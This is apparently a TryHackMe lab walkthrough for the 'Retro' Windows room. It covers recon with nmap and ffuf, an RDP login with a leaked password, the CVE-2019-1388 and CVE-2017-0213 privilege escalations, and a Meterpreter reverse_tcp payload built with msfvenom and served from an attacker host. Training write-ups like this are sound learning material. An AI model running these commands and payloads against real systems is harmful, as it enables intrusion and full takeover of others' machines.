# Retro

![tryhackme.com - © TryHackMe](/files/tJ1nmhBpP5d28MPTPPHA)

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## Intro

| Room Info            | ![](/files/CdBdUx1cpTim4PsvqwaI)          |
| -------------------- | ----------------------------------------- |
| 🔗 Name              | [Retro](https://tryhackme.com/room/retro) |
| 🎯 Target IP         | `10.10.181.110`                           |
| 📈 Difficulty level  | 🟢Easy                                    |
| 💲 Subscription type | Free                                      |
| 🪟 OS                | Windows                                   |

***

## Recon

```bash
mkdir retro
cd retro
nmap 10.10.181.110
    80/tcp   open  http
    3389/tcp open  ms-wbt-server

nmap -sV -sC -Pn -oA retro 10.10.181.110
```

```bash
80/tcp   open  http          Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: IIS Windows Server
|_http-server-header: Microsoft-IIS/10.0
3389/tcp open  ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2023-05-13T11:52:02+00:00; +2s from scanner time.
| ssl-cert: Subject: commonName=RetroWeb
| Not valid before: 2023-05-12T11:48:35
|_Not valid after:  2023-11-11T11:48:35
| rdp-ntlm-info: 
|   Target_Name: RETROWEB
|   NetBIOS_Domain_Name: RETROWEB
|   NetBIOS_Computer_Name: RETROWEB
|   DNS_Domain_Name: RetroWeb
|   DNS_Computer_Name: RetroWeb
|   Product_Version: 10.0.14393
|_  System_Time: 2023-05-13T11:51:57+00:00
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 1s, deviation: 0s, median: 1s
```

Perform Web Server directories enumeration.

```bash
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u http://10.10.181.110/FUZZ

[Status: 301, Size: 150, Words: 9, Lines: 2, Duration: 281ms]
    * FUZZ: retro
```

The enumeration found a folder named **`/retro`**.

Use a browser to navigate to:

* `http://10.10.181.110/retro/index.php/2019/12/09/ready-player-one/`

> 📌 Wade user left a comment with his password

![](/files/Va5p45Dc8Lj1oyaFmR33)

Use the credentials to login to the target via the open RDP Port `3389`

* `Wade`:`parzival`

> I suggest to set the `Remmina` RDP resolution to a higher one, **`e.g`**
>
> * Open Remmina, `+` to create a Quick RDP Connect, select the resolution and `Save as Default`
>
> <img src="/files/ZR9h3UyCHCaiN3CHzvyV" alt="" data-size="original">

```bash
remmina -c rdp://wade@10.10.181.110

# It will open with the default set up resolution
```

* 🚩 Open the **`user.txt`** file on Wade's user desktop to get the first flag.

```bash
3b99f***************************

```

***

## Exploitation

Open `Internet Explorer` to initialize it.

Open `Google Chrome` and set it as **Default web browser** in Windows.

![](/files/G3TnxqBaworgMLfEPJJz)

The bookmarked link refers to the [CVE-2019-1388](https://nvd.nist.gov/vuln/detail/CVE-2019-1388) - Windows Certificate Dialog Elevation of Privilege Vulnerability.

Check the Recycle Bin and restore the `hhupd` file.

![](/files/Yw07ggaGaTGcpxOXLsGp)

Exploit the privesc vulnerability present in the Windows Certificate Dialog Box and run `cmd` with **Administrator** privileges.

![](/files/06tWsZKNo45EwWbof9TU)

![](/files/2yltbnWXauRbjSbNrjDN)

* Even after the initialization of both the IE and Chrome browsers, there might not be any option for selecting the browser in the opened window.

![](/files/DUCUJXEo6MG9ElDPUUSz)

### Meterpreter

Generate a manual payload to get a Metasploit Meterpreter session on the target.

```bash
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.18.65.48 LPORT=4444 -f exe -o unprivileged-payload.exe
```

```bash
# Start a webserver in the same payload directory
python -m http.server 80
```

Download the payload on the target browser from this link

* `http://10.18.65.48/unprivileged-payload.exe`

Open Metasploit and set up a handler to listen on the `4444` port

```bash
msfconsole -q

setg RHOSTS 10.10.181.110
setg RHOST 10.10.181.110
use exploit/multi/handler
# Same as the generated payload
set payload windows/x64/meterpreter/reverse_tcp 
set LHOST 10.18.65.48 
set LPORT 4444
run
```

Run the `unprivileged-payload.exe` file on the target machine

![Wade Privileges Meterpreter](/files/LNGHQ5vwZmlvyvO4QBYF)

Get `systeminfo` from the target and save the output to a file.

```bash
shell
systeminfo
```

![](/files/txXSXYZdkmoDyneZeAsj)

***

## Privilege Escalation

Exploit the [CVE-2017-0213 - Windows COM Elevation of Privilege Vulnerability](https://github.com/SecWiki/windows-kernel-exploits/tree/master/CVE-2017-0213)

* Download the `CVE-2017-0213_x64.zip` package, unzip it and upload the **`CVE-2017-0213_x86.exe`** to the target.

```bash
wget https://raw.githubusercontent.com/SecWiki/windows-kernel-exploits/2b944b52ee30f8833a21f0805d2627ca1f15383a/CVE-2017-0213/CVE-2017-0213_x86.zip
```

```bash
# In the Meterpreter session
upload CVE-2017-0213_x86.exe
```

Run the `CVE-2017-0213_x86.exe` file from the Meterpreter session or using the RDP connection on the target.

```bash
shell
.\CVE-2017-0213_x86.exe
```

* Check the `CMD` as Administrator session on the target.

![Elevated CMD Session](/files/gTaVAT1JLBFXXEUz6jQ2)

* 🚩 Read the `root.txt` file

```bash
cd c:\Users\Administrator\Desktop
type root.txt
7958b***************************
```

![](/files/iSRl2Lu1kMu2zwI6nuze)

* Remember that there can be other attack vectors to exploit target's vulnerabilities.

***


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